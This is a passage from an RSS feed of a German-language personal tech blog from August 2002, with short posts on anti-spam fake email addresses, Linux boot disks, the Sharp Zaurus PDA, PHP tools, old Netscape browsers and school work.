href="mailto:iqlwhndcl@uqmebebevpkoaucbwgfx.ch" style="color: #FFFF22;"><b>iqlwhndcl@uqmebebevpkoaucbwgfx.ch</b></a>, <a href="mailto:oau@rekerntvbyvtw.ar" style="color: #FFFF33;"><b>oau@rekerntvbyvtw.ar</b></a>, <a href="mailto:pvc@rzsozctuexyickvvcbon.net" style="color: #FFFF33;"><b>pvc@rzsozctuexyickvvcbon.net</b></a>, <a href="mailto:gyczaxdv@edvirkffdxynrwvfx.pl" style="color: #FFFF44;"><b>gyczaxdv@edvirkffdxynrwvfx.pl</b></a>, <a href="mailto:wtgxvuzqik@pfpdnglxnf.com" style="color: #FFFF55;"><b>wtgxvuzqik@pfpdnglxnf.com</b></a>, <a href="mailto:lwxynheb@zfchtmxfeitsydc.ca" style="color: #FFFF66;"><b>lwxynheb@zfchtmxfeitsydc.ca</b></a>, <a href="mailto:czxyagp@trijtxd.de" style="color: #FFFF66;"><b>czxyagp@trijtxd.de</b></a>, <a href="mailto:qaebx@xhwovsgfp.ca" style="color: #FFFF77;"><b>qaebx@xhwovsgfp.ca</b></a>, <a href="mailto:xofnz@tzbarznby.it" style="color: #FFFF88;"><b>xofnz@tzbarznby.it</b></a>, <a href="mailto:syoxdnbgeh@pumedyoib.com" style="color: #FFFF99;"><b>syoxdnbgeh@pumedyoib.com</b></a>, <a href="mailto:zxidswacq@phyl.eu" style="color: #FFFF99;"><b>zxidswacq@phyl.eu</b></a>, <a href="mailto:htgrl@decfdppoohtrfdcglqu.br" style="color: #FFFFAA;"><b>htgrl@decfdppoohtrfdcglqu.br</b></a>, <a href="mailto:ksdrfqljj@zctzh.biz" style="color: #FFFFBB;"><b>ksdrfqljj@zctzh.biz</b></a>, <a href="mailto:qfwemfbm@ojpndrdwygeuj.mil" style="color: #FFFFCC;"><b>qfwemfbm@ojpndrdwygeuj.mil</b></a>, <a href="mailto:qkvigcdm@yjcsjwoeo.ru" style="color: #FFFFCC;"><b>qkvigcdm@yjcsjwoeo.ru</b></a>, <a href="mailto:owy@kpphkxbcmjicmza.com" style="color: #FFFFDD;"><b>owy@kpphkxbcmjicmza.com</b></a>, <a href="mailto:eowy@xyimdphk.de" style="color: #FFFFEE;"><b>eowy@xyimdphk.de</b></a>, <a href="mailto:lcy@xabaguqaeg.st" style="color: #FFFFFF;"><b>lcy@xabaguqaeg.st</b></a></span>
  19099. ]]></description>
  19100.    <content:encoded><![CDATA[<a href="http://www.schockwellenreiter.de/webdesign/spam.html" target="_blank"><b>Der Schockwellenreiter</b></a> hat einen innovative Idee im alltäglichen Krieg gegen Spam(bots). Basierend auf <a href="https://web.archive.org/web/20020803155602/http://www.ideenreich.com/netlife/spam_1.shtml" target="_blank"><b>einem Artikel von ideenreich.com</b></a>.<br><a href="https://web.archive.org/web/20030418125505/http://www.pepilog.de/artikel/spamwirschlagenzurueck.htm" target="_blank"><b>Pepino</b></a> hat auch schon <a href="https://web.archive.org/web/20030417011107/http://www.pepilog.de/downloads/allgemein.htm" target="_blank"><b>ein passendes PHP-Script</b></a> geschrieben.<br><br>Hier nun ein paar Fake-Adressen: (muss mir noch überlegen, wie ich die tägliche Ration davon irgendwo sinnvoll intergrieren kann :-)<br><br><span style="font-size: 8px;"><a href="mailto:hxqmbr@sxqtvjhuwm.it" style="color: #FFFF00;"><b>hxqmbr@sxqtvjhuwm.it</b></a>, <a href="mailto:guu@oijduzfaiqwrn.eu" style="color: #FFFF11;"><b>guu@oijduzfaiqwrn.eu</b></a>, <a href="mailto:iqlwhndcl@uqmebebevpkoaucbwgfx.ch" style="color: #FFFF22;"><b>iqlwhndcl@uqmebebevpkoaucbwgfx.ch</b></a>, <a href="mailto:oau@rekerntvbyvtw.ar" style="color: #FFFF33;"><b>oau@rekerntvbyvtw.ar</b></a>, <a href="mailto:pvc@rzsozctuexyickvvcbon.net" style="color: #FFFF33;"><b>pvc@rzsozctuexyickvvcbon.net</b></a>, <a href="mailto:gyczaxdv@edvirkffdxynrwvfx.pl" style="color: #FFFF44;"><b>gyczaxdv@edvirkffdxynrwvfx.pl</b></a>, <a href="mailto:wtgxvuzqik@pfpdnglxnf.com" style="color: #FFFF55;"><b>wtgxvuzqik@pfpdnglxnf.com</b></a>, <a href="mailto:lwxynheb@zfchtmxfeitsydc.ca" style="color: #FFFF66;"><b>lwxynheb@zfchtmxfeitsydc.ca</b></a>, <a href="mailto:czxyagp@trijtxd.de" style="color: #FFFF66;"><b>czxyagp@trijtxd.de</b></a>, <a href="mailto:qaebx@xhwovsgfp.ca" style="color: #FFFF77;"><b>qaebx@xhwovsgfp.ca</b></a>, <a href="mailto:xofnz@tzbarznby.it" style="color: #FFFF88;"><b>xofnz@tzbarznby.it</b></a>, <a href="mailto:syoxdnbgeh@pumedyoib.com" style="color: #FFFF99;"><b>syoxdnbgeh@pumedyoib.com</b></a>, <a href="mailto:zxidswacq@phyl.eu" style="color: #FFFF99;"><b>zxidswacq@phyl.eu</b></a>, <a href="mailto:htgrl@decfdppoohtrfdcglqu.br" style="color: #FFFFAA;"><b>htgrl@decfdppoohtrfdcglqu.br</b></a>, <a href="mailto:ksdrfqljj@zctzh.biz" style="color: #FFFFBB;"><b>ksdrfqljj@zctzh.biz</b></a>, <a href="mailto:qfwemfbm@ojpndrdwygeuj.mil" style="color: #FFFFCC;"><b>qfwemfbm@ojpndrdwygeuj.mil</b></a>, <a href="mailto:qkvigcdm@yjcsjwoeo.ru" style="color: #FFFFCC;"><b>qkvigcdm@yjcsjwoeo.ru</b></a>, <a href="mailto:owy@kpphkxbcmjicmza.com" style="color: #FFFFDD;"><b>owy@kpphkxbcmjicmza.com</b></a>, <a href="mailto:eowy@xyimdphk.de" style="color: #FFFFEE;"><b>eowy@xyimdphk.de</b></a>, <a href="mailto:lcy@xabaguqaeg.st" style="color: #FFFFFF;"><b>lcy@xabaguqaeg.st</b></a></span>
  19101. ]]></content:encoded>
  19102.  </item>
  19103.  
  19104.  <item>
  19105.    <title>Da kriegt man den Mund gar nicht mehr zu!</title>
  19106.    <link>https://blog.x-way.org/Tech/2002/08/22/Da_kriegt_man_den_Mund_gar_nicht_mehr_zu.html</link>
  19107.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=66</guid>
  19108.    <dc:creator>Andreas Jaggi</dc:creator>
  19109.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19110.    <pubDate>Thu, 22 Aug 2002 20:21:00 +0200</pubDate>
  19111.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  19112.    <description><![CDATA[Beim <a href="http://www.listan.de/" target="_blank"><b>Webshop von listan.de</b></a>  hat es viele schöne Gehäuse.<br>Das hier ist mein Favorit:<br><br><img alt="Avance Case" src="https://blog.x-way.org/images/avance-case.jpg">
  19113. ]]></description>
  19114.    <content:encoded><![CDATA[Beim <a href="http://www.listan.de/" target="_blank"><b>Webshop von listan.de</b></a>  hat es viele schöne Gehäuse.<br>Das hier ist mein Favorit:<br><br><img alt="Avance Case" src="https://blog.x-way.org/images/avance-case.jpg">
  19115. ]]></content:encoded>
  19116.  </item>
  19117.  
  19118.  <item>
  19119.    <title>Build Your Linux Disk</title>
  19120.    <link>https://blog.x-way.org/Linux/2002/08/22/Build_Your_Linux_Disk.html</link>
  19121.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=65</guid>
  19122.    <dc:creator>Andreas Jaggi</dc:creator>
  19123.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19124.    <pubDate>Thu, 22 Aug 2002 00:32:00 +0200</pubDate>
  19125.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19126.    <description><![CDATA[<a href="http://byld.sourceforge.net/" target="_blank"><b>Damit</b></a> kann man sich eine lauffähige, wenn auch sehr abgespeckte, Linux-Distribution auf <b>einer</b> Diskette erstellen.<br>Wenn ich einmal Zeit finde(n werde), könnte ich ja versuchen, mir eine Disk zu basteln mit Netzwerktools und Samba.<br>Würde den W2k-"Administrator" des Gymnasiums - der Lehrer, welcher weiss, wie und wo man den Computer einschaltet - sicherlich ganz besonders freuen, wenn nebst den andauernd gamenden "Terzis" (was <b>verboten</b> ist liebe Mitschüler!) auch noch so ein PC-Freak mit Linux anmarschiert.
  19127. ]]></description>
  19128.    <content:encoded><![CDATA[<a href="http://byld.sourceforge.net/" target="_blank"><b>Damit</b></a> kann man sich eine lauffähige, wenn auch sehr abgespeckte, Linux-Distribution auf <b>einer</b> Diskette erstellen.<br>Wenn ich einmal Zeit finde(n werde), könnte ich ja versuchen, mir eine Disk zu basteln mit Netzwerktools und Samba.<br>Würde den W2k-"Administrator" des Gymnasiums - der Lehrer, welcher weiss, wie und wo man den Computer einschaltet - sicherlich ganz besonders freuen, wenn nebst den andauernd gamenden "Terzis" (was <b>verboten</b> ist liebe Mitschüler!) auch noch so ein PC-Freak mit Linux anmarschiert.
  19129. ]]></content:encoded>
  19130.  </item>
  19131.  
  19132.  <item>
  19133.    <title>Wie geht's?</title>
  19134.    <link>https://blog.x-way.org/Misc/2002/08/20/Wie_gehts.html</link>
  19135.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=64</guid>
  19136.    <dc:creator>Andreas Jaggi</dc:creator>
  19137.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19138.    <pubDate>Tue, 20 Aug 2002 17:22:00 +0200</pubDate>
  19139.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19140.    <description><![CDATA[Für alle Spiesser und Spiesserinnen und all jene, welche nicht dazu verkommen wollen ;-)<br><br><a href="https://web.archive.org/web/20020804163056/http://www.rageagainstwiegehts.de.vu/" target="_blank"><b>Wie geht's?</b></a> <br><br><b>Update:</b> Leider darf ich feststellen, dass die Seite momentan nicht gefunden werden will. Hoffentlich zeigt sie sich bald wieder :-)
  19141. ]]></description>
  19142.    <content:encoded><![CDATA[Für alle Spiesser und Spiesserinnen und all jene, welche nicht dazu verkommen wollen ;-)<br><br><a href="https://web.archive.org/web/20020804163056/http://www.rageagainstwiegehts.de.vu/" target="_blank"><b>Wie geht's?</b></a> <br><br><b>Update:</b> Leider darf ich feststellen, dass die Seite momentan nicht gefunden werden will. Hoffentlich zeigt sie sich bald wieder :-)
  19143. ]]></content:encoded>
  19144.  </item>
  19145.  
  19146.  <item>
  19147.    <title>Trau nur einer Statistik, die du selbst gefälscht hast.</title>
  19148.    <link>https://blog.x-way.org/Misc/2002/08/19/Trau_nur_einer_Statistik_die_du_selbst_gefaelscht_hast.html</link>
  19149.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=63</guid>
  19150.    <dc:creator>Andreas Jaggi</dc:creator>
  19151.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19152.    <pubDate>Mon, 19 Aug 2002 23:38:00 +0200</pubDate>
  19153.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19154.    <description><![CDATA[Nun kann man unter Statistik noch ein weiteres Diagramm finden: Die Verteilung meiner Postings auf die verschiedenen Kategorien.<br><br>Mit 32 Posts führt (oh wie erstaunlich ;-) die Kategorie Misc. Gleich dahinter folgt Linux *freu*. Danach Webdesign, Coding und die restlichen scheinbar unbeliebten Kategorien.<br>(Stimmt natürlich nicht. Mein CMS ist halt noch nicht soweit, das es veröffentlich werden kann)
  19155. ]]></description>
  19156.    <content:encoded><![CDATA[Nun kann man unter Statistik noch ein weiteres Diagramm finden: Die Verteilung meiner Postings auf die verschiedenen Kategorien.<br><br>Mit 32 Posts führt (oh wie erstaunlich ;-) die Kategorie Misc. Gleich dahinter folgt Linux *freu*. Danach Webdesign, Coding und die restlichen scheinbar unbeliebten Kategorien.<br>(Stimmt natürlich nicht. Mein CMS ist halt noch nicht soweit, das es veröffentlich werden kann)
  19157. ]]></content:encoded>
  19158.  </item>
  19159.  
  19160.  <item>
  19161.    <title>Netscape 2.02</title>
  19162.    <link>https://blog.x-way.org/Webdesign/2002/08/19/Netscape_202.html</link>
  19163.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=62</guid>
  19164.    <dc:creator>Andreas Jaggi</dc:creator>
  19165.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19166.    <pubDate>Mon, 19 Aug 2002 22:05:00 +0200</pubDate>
  19167.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  19168.    <description><![CDATA[Für meine Maturaarbeit benötige ich zum Testen eine alten/älteren Netscape Browser. Nach einer unendlich langen Klickerei, bin ich <a href="https://web.archive.org/web/20020803024814/http://wp.netscape.com/download/archive.html" target="_blank"><b>hier</b></a> fündig geworden. Dort gibts von Netcape 2.02 bis 6.2.3 alles was das Herz begehrt.
  19169. ]]></description>
  19170.    <content:encoded><![CDATA[Für meine Maturaarbeit benötige ich zum Testen eine alten/älteren Netscape Browser. Nach einer unendlich langen Klickerei, bin ich <a href="https://web.archive.org/web/20020803024814/http://wp.netscape.com/download/archive.html" target="_blank"><b>hier</b></a> fündig geworden. Dort gibts von Netcape 2.02 bis 6.2.3 alles was das Herz begehrt.
  19171. ]]></content:encoded>
  19172.  </item>
  19173.  
  19174.  <item>
  19175.    <title>Zaurus-Flash</title>
  19176.    <link>https://blog.x-way.org/Linux/2002/08/19/Zaurus-Flash.html</link>
  19177.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=61</guid>
  19178.    <dc:creator>Andreas Jaggi</dc:creator>
  19179.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19180.    <pubDate>Mon, 19 Aug 2002 12:14:00 +0200</pubDate>
  19181.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19182.    <description><![CDATA[<a href="http://www.sharp-usa.com/demo3d/sl_5500.swf" target="_blank"><b>Hier</b></a> findet man eine Flash-Präsentation des Sharp Zaurus. :-)
  19183. ]]></description>
  19184.    <content:encoded><![CDATA[<a href="http://www.sharp-usa.com/demo3d/sl_5500.swf" target="_blank"><b>Hier</b></a> findet man eine Flash-Präsentation des Sharp Zaurus. :-)
  19185. ]]></content:encoded>
  19186.  </item>
  19187.  
  19188.  <item>
  19189.    <title>Mensch ärgere dich nicht</title>
  19190.    <link>https://blog.x-way.org/Misc/2002/08/18/Mensch_aergere_dich_nicht.html</link>
  19191.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=60</guid>
  19192.    <dc:creator>Andreas Jaggi</dc:creator>
  19193.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19194.    <pubDate>Sun, 18 Aug 2002 15:36:00 +0200</pubDate>
  19195.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19196.    <description><![CDATA[Zufällig habe ich <a href="https://web.archive.org/web/20030506061544/http://weltwoche.ch/ressort_bericht.asp?asset_id=2952&amp;category_id=60" target="_blank"><b>einen Artikel</b></a> gefunden, welcher das Thema Videogames endlich einmal annähernd neutral angeht.<br>(Nicht so wie die Beiträge der Hass-Kampagne nach dem Amoklauf von Erfurt, welche auf Vermutungen und ohne Recherchen geschrieben wurden.)
  19197. ]]></description>
  19198.    <content:encoded><![CDATA[Zufällig habe ich <a href="https://web.archive.org/web/20030506061544/http://weltwoche.ch/ressort_bericht.asp?asset_id=2952&amp;category_id=60" target="_blank"><b>einen Artikel</b></a> gefunden, welcher das Thema Videogames endlich einmal annähernd neutral angeht.<br>(Nicht so wie die Beiträge der Hass-Kampagne nach dem Amoklauf von Erfurt, welche auf Vermutungen und ohne Recherchen geschrieben wurden.)
  19199. ]]></content:encoded>
  19200.  </item>
  19201.  
  19202.  <item>
  19203.    <title>baaa!</title>
  19204.    <link>https://blog.x-way.org/Misc/2002/08/18/baaa.html</link>
  19205.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=59</guid>
  19206.    <dc:creator>Andreas Jaggi</dc:creator>
  19207.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19208.    <pubDate>Sun, 18 Aug 2002 14:49:00 +0200</pubDate>
  19209.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19210.    <description><![CDATA[You are a - Goth Sheep!<br>Black is the new black, don't you know. All you happy people scare me.<br><br><img alt="Goth" src="https://blog.x-way.org/images/goth.jpg"><br><br>Das ist das Ergebniss <a href="https://web.archive.org/web/20020802090115/http://alanna.lacota.net/quiz.html" target="new"><b>dieses Tests</b></a>.<br>Wobei mir nicht ganz klar ist, weshalb ich ein Gothic sein soll, nur weil ich mich schwarz kleide?
  19211. ]]></description>
  19212.    <content:encoded><![CDATA[You are a - Goth Sheep!<br>Black is the new black, don't you know. All you happy people scare me.<br><br><img alt="Goth" src="https://blog.x-way.org/images/goth.jpg"><br><br>Das ist das Ergebniss <a href="https://web.archive.org/web/20020802090115/http://alanna.lacota.net/quiz.html" target="new"><b>dieses Tests</b></a>.<br>Wobei mir nicht ganz klar ist, weshalb ich ein Gothic sein soll, nur weil ich mich schwarz kleide?
  19213. ]]></content:encoded>
  19214.  </item>
  19215.  
  19216.  <item>
  19217.    <title>PHPDoc</title>
  19218.    <link>https://blog.x-way.org/Coding/2002/08/17/PHPDoc.html</link>
  19219.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=58</guid>
  19220.    <dc:creator>Andreas Jaggi</dc:creator>
  19221.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19222.    <pubDate>Sat, 17 Aug 2002 18:27:00 +0200</pubDate>
  19223.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19224.    <description><![CDATA[<a href="https://web.archive.org/web/20030806095327/http://www.devshed.com/Server_Side/PHP/SelfDoc/page1.html" target="_blank"><b>Diesen Artikel</b></a> über PHPDoc muss ich mir merken. Könnte nützlich sei für meine Maturaarbeit.
  19225. ]]></description>
  19226.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030806095327/http://www.devshed.com/Server_Side/PHP/SelfDoc/page1.html" target="_blank"><b>Diesen Artikel</b></a> über PHPDoc muss ich mir merken. Könnte nützlich sei für meine Maturaarbeit.
  19227. ]]></content:encoded>
  19228.  </item>
  19229.  
  19230.  <item>
  19231.    <title>PHP-GTK</title>
  19232.    <link>https://blog.x-way.org/Coding/2002/08/17/PHP-GTK.html</link>
  19233.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=57</guid>
  19234.    <dc:creator>Andreas Jaggi</dc:creator>
  19235.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19236.    <pubDate>Sat, 17 Aug 2002 03:28:00 +0200</pubDate>
  19237.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  19238.    <description><![CDATA[Nachdem ich nun schon vielerorts von PHP-GTK gelesen habe, habe ich nun dieses <a href="http://gtk.php.net/" target="_blank"><b>graphische Zeugs</b></a> installiert.<br>(Mit Hilfe <a href="https://web.archive.org/web/20021018115456/http://zend.com/zend/tut/tutorial-silva.php" target="_blank"><b>dieses</b></a> Tutorials war es gar nicht schwer :-)<br><br>Bis jetzt funktionierts IMHO gut. Nun muss ich sehen, wie ich mit der GUI-Programmierung zurechtkommen kann ;-)
  19239. ]]></description>
  19240.    <content:encoded><![CDATA[Nachdem ich nun schon vielerorts von PHP-GTK gelesen habe, habe ich nun dieses <a href="http://gtk.php.net/" target="_blank"><b>graphische Zeugs</b></a> installiert.<br>(Mit Hilfe <a href="https://web.archive.org/web/20021018115456/http://zend.com/zend/tut/tutorial-silva.php" target="_blank"><b>dieses</b></a> Tutorials war es gar nicht schwer :-)<br><br>Bis jetzt funktionierts IMHO gut. Nun muss ich sehen, wie ich mit der GUI-Programmierung zurechtkommen kann ;-)
  19241. ]]></content:encoded>
  19242.  </item>
  19243.  
  19244.  <item>
  19245.    <title>Zaurus</title>
  19246.    <link>https://blog.x-way.org/Linux/2002/08/14/Zaurus.html</link>
  19247.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=56</guid>
  19248.    <dc:creator>Andreas Jaggi</dc:creator>
  19249.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19250.    <pubDate>Wed, 14 Aug 2002 23:05:00 +0200</pubDate>
  19251.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19252.    <description><![CDATA[<br><img src="https://blog.x-way.org/images/zaurus.jpeg" width="128" height="188" style="border: 1px solid #000000;" alt="Sharp Zaurus"><br><br>Am liebsten hätte ich so einen <a href="https://web.archive.org/web/20021020000810/http://www.zaurus.de/www_index?m=" target="_blank"><b>Sharp Zaurus.</b></a> IMHO eindlich ein brauchbarer PDA, denn ohne eine Tastatur - nur mit Kritzelzeichen - wirkten die bisherigen PDAs auf mich wie Kinderspielzeug.<br>Und : <b>ER LÄUFT MIT LINUX!</b><br>Doch der kostet 1099.- CHF (=1099/3*2 EURO).<br>Und deshalb siehts bei mir nur <a href="https://blog.x-way.org/images/14082002235237.jpg"><b>so</b></a> aus.
  19253. ]]></description>
  19254.    <content:encoded><![CDATA[<br><img src="https://blog.x-way.org/images/zaurus.jpeg" width="128" height="188" style="border: 1px solid #000000;" alt="Sharp Zaurus"><br><br>Am liebsten hätte ich so einen <a href="https://web.archive.org/web/20021020000810/http://www.zaurus.de/www_index?m=" target="_blank"><b>Sharp Zaurus.</b></a> IMHO eindlich ein brauchbarer PDA, denn ohne eine Tastatur - nur mit Kritzelzeichen - wirkten die bisherigen PDAs auf mich wie Kinderspielzeug.<br>Und : <b>ER LÄUFT MIT LINUX!</b><br>Doch der kostet 1099.- CHF (=1099/3*2 EURO).<br>Und deshalb siehts bei mir nur <a href="https://blog.x-way.org/images/14082002235237.jpg"><b>so</b></a> aus.
  19255. ]]></content:encoded>
  19256.  </item>
  19257.  
  19258.  <item>
  19259.    <title>Maturaarbeit</title>
  19260.    <link>https://blog.x-way.org/School/2002/08/13/Maturaarbeit.html</link>
  19261.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=55</guid>
  19262.    <dc:creator>Andreas Jaggi</dc:creator>
  19263.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19264.    <pubDate>Tue, 13 Aug 2002 22:24:00 +0200</pubDate>
  19265.    <category domain="https://blog.x-way.org/School/">School</category>
  19266.    <description><![CDATA[<a href="https://web.archive.org/web/20021003133006/https://www.heise.de/ix/artikel/2000/12/098/" target="_blank"><b>Diesen Artikel</b></a> könnte ich vielleicht noch in meine Maturaarbeit einbauen.<br><br>Herzlichen Dank an <a href="https://web.archive.org/web/20020925084357/http://www.mytzwaen.de/" target="_blank"><b>tzwaen</b></a>
  19267. ]]></description>
  19268.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021003133006/https://www.heise.de/ix/artikel/2000/12/098/" target="_blank"><b>Diesen Artikel</b></a> könnte ich vielleicht noch in meine Maturaarbeit einbauen.<br><br>Herzlichen Dank an <a href="https://web.archive.org/web/20020925084357/http://www.mytzwaen.de/" target="_blank"><b>tzwaen</b></a>
  19269. ]]></content:encoded>
  19270.  </item>
  19271.  
  19272.  <item>
  19273.    <title>Barcode</title>
  19274.    <link>https://blog.x-way.org/Misc/2002/08/13/Barcode.html</link>
  19275.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=54</guid>
  19276.    <dc:creator>Andreas Jaggi</dc:creator>
  19277.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19278.    <pubDate>Tue, 13 Aug 2002 14:09:00 +0200</pubDate>
  19279.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19280.    <description><![CDATA[<br><img alt="Barcode für http://waterwave.ch/weblog" src="https://blog.x-way.org/images/barcode.jpg" width="400" height="50"><br><br><a href="https://danielfiene.com/" target="_blank"><b>Hier</b></a> habe ich den <a href="http://www.barcodesinc.com/generator/index.php" target="_blank"><b>Barcode-Generator</b></a> gefunden.
  19281. ]]></description>
  19282.    <content:encoded><![CDATA[<br><img alt="Barcode für http://waterwave.ch/weblog" src="https://blog.x-way.org/images/barcode.jpg" width="400" height="50"><br><br><a href="https://danielfiene.com/" target="_blank"><b>Hier</b></a> habe ich den <a href="http://www.barcodesinc.com/generator/index.php" target="_blank"><b>Barcode-Generator</b></a> gefunden.
  19283. ]]></content:encoded>
  19284.  </item>
  19285.  
  19286.  <item>
  19287.    <title>School is cool!</title>
  19288.    <link>https://blog.x-way.org/School/2002/08/11/School_is_cool.html</link>
  19289.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=53</guid>
  19290.    <dc:creator>Andreas Jaggi</dc:creator>
  19291.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19292.    <pubDate>Sun, 11 Aug 2002 16:25:00 +0200</pubDate>
  19293.    <category domain="https://blog.x-way.org/School/">School</category>
  19294.    <description><![CDATA[Aus aktuellem Anlass habe ich mich entschlossen noch eine weitere Kategorie zu erstellen.<br>Die <a href="http://waterwave.ch/weblog/index.php?cat=7"><b>Kategorie Ausbildung</b></a>.<br>Hier schreibe ich über so uninteressante Dinge wie meine morgige Geo-Maturprüfung.<br><a href="#" class="gone"><b>Link dazu.</b></a>
  19295. ]]></description>
  19296.    <content:encoded><![CDATA[Aus aktuellem Anlass habe ich mich entschlossen noch eine weitere Kategorie zu erstellen.<br>Die <a href="http://waterwave.ch/weblog/index.php?cat=7"><b>Kategorie Ausbildung</b></a>.<br>Hier schreibe ich über so uninteressante Dinge wie meine morgige Geo-Maturprüfung.<br><a href="#" class="gone"><b>Link dazu.</b></a>
  19297. ]]></content:encoded>
  19298.  </item>
  19299.  
  19300.  <item>
  19301.    <title>ISO-Shop</title>
  19302.    <link>https://blog.x-way.org/Linux/2002/08/11/ISO-Shop.html</link>
  19303.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=52</guid>
  19304.    <dc:creator>Andreas Jaggi</dc:creator>
  19305.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19306.    <pubDate>Sun, 11 Aug 2002 00:26:00 +0200</pubDate>
  19307.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19308.    <description><![CDATA[<br><table style="width: 100%; border: 0"><tr><td><img src="https://blog.x-way.org/images/linux.gif" width="60" height="70" alt="Tux"></td><td>  </td><td>Beim nächsten (grösseren) Distributions wechsel, werde ich nicht mehr mühsam selbst herunterladen sondern <a href="https://web.archive.org/web/20020602075209/http://www.cynox.ch/isoshop/" target="_blank"><b>hier</b></a> eine fertige CD bestellen.<br>Dabei muss ich mir unbedingt dieses "Kreditkarten-Debian" zulegen ;-)</td></tr></table>
  19309. ]]></description>
  19310.    <content:encoded><![CDATA[<br><table style="width: 100%; border: 0"><tr><td><img src="https://blog.x-way.org/images/linux.gif" width="60" height="70" alt="Tux"></td><td>  </td><td>Beim nächsten (grösseren) Distributions wechsel, werde ich nicht mehr mühsam selbst herunterladen sondern <a href="https://web.archive.org/web/20020602075209/http://www.cynox.ch/isoshop/" target="_blank"><b>hier</b></a> eine fertige CD bestellen.<br>Dabei muss ich mir unbedingt dieses "Kreditkarten-Debian" zulegen ;-)</td></tr></table>
  19311. ]]></content:encoded>
  19312.  </item>
  19313.  
  19314.  <item>
  19315.    <title>Nerina Pallot</title>
  19316.    <link>https://blog.x-way.org/Music/2002/08/10/Nerina_Pallot.html</link>
  19317.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=51</guid>
  19318.    <dc:creator>Andreas Jaggi</dc:creator>
  19319.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19320.    <pubDate>Sat, 10 Aug 2002 19:33:00 +0200</pubDate>
  19321.    <category domain="https://blog.x-way.org/Music/">Music</category>
  19322.    <description><![CDATA[Seit ich den Song <a href="#" target="_blank" class="gone"><b>Patience</b></a> von <a href="https://web.archive.org/web/20021214000000/http://www.nerinapallot.co.uk/" target="_blank"><b>Nerina Pallot</b></a> im <a href="https://web.archive.org/web/20020802102556/http://www.radiofreevirgin.com/" target="_blank"><b>Webradio</b></a> gehört habe, kann ich nicht mehr ohne ;-)
  19323. ]]></description>
  19324.    <content:encoded><![CDATA[Seit ich den Song <a href="#" target="_blank" class="gone"><b>Patience</b></a> von <a href="https://web.archive.org/web/20021214000000/http://www.nerinapallot.co.uk/" target="_blank"><b>Nerina Pallot</b></a> im <a href="https://web.archive.org/web/20020802102556/http://www.radiofreevirgin.com/" target="_blank"><b>Webradio</b></a> gehört habe, kann ich nicht mehr ohne ;-)
  19325. ]]></content:encoded>
  19326.  </item>
  19327.  
  19328.  <item>
  19329.    <title>index.php?cat=5</title>
  19330.    <link>https://blog.x-way.org/Networking/2002/08/10/indexphpcat5.html</link>
  19331.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=50</guid>
  19332.    <dc:creator>Andreas Jaggi</dc:creator>
  19333.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19334.    <pubDate>Sat, 10 Aug 2002 18:08:00 +0200</pubDate>
  19335.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
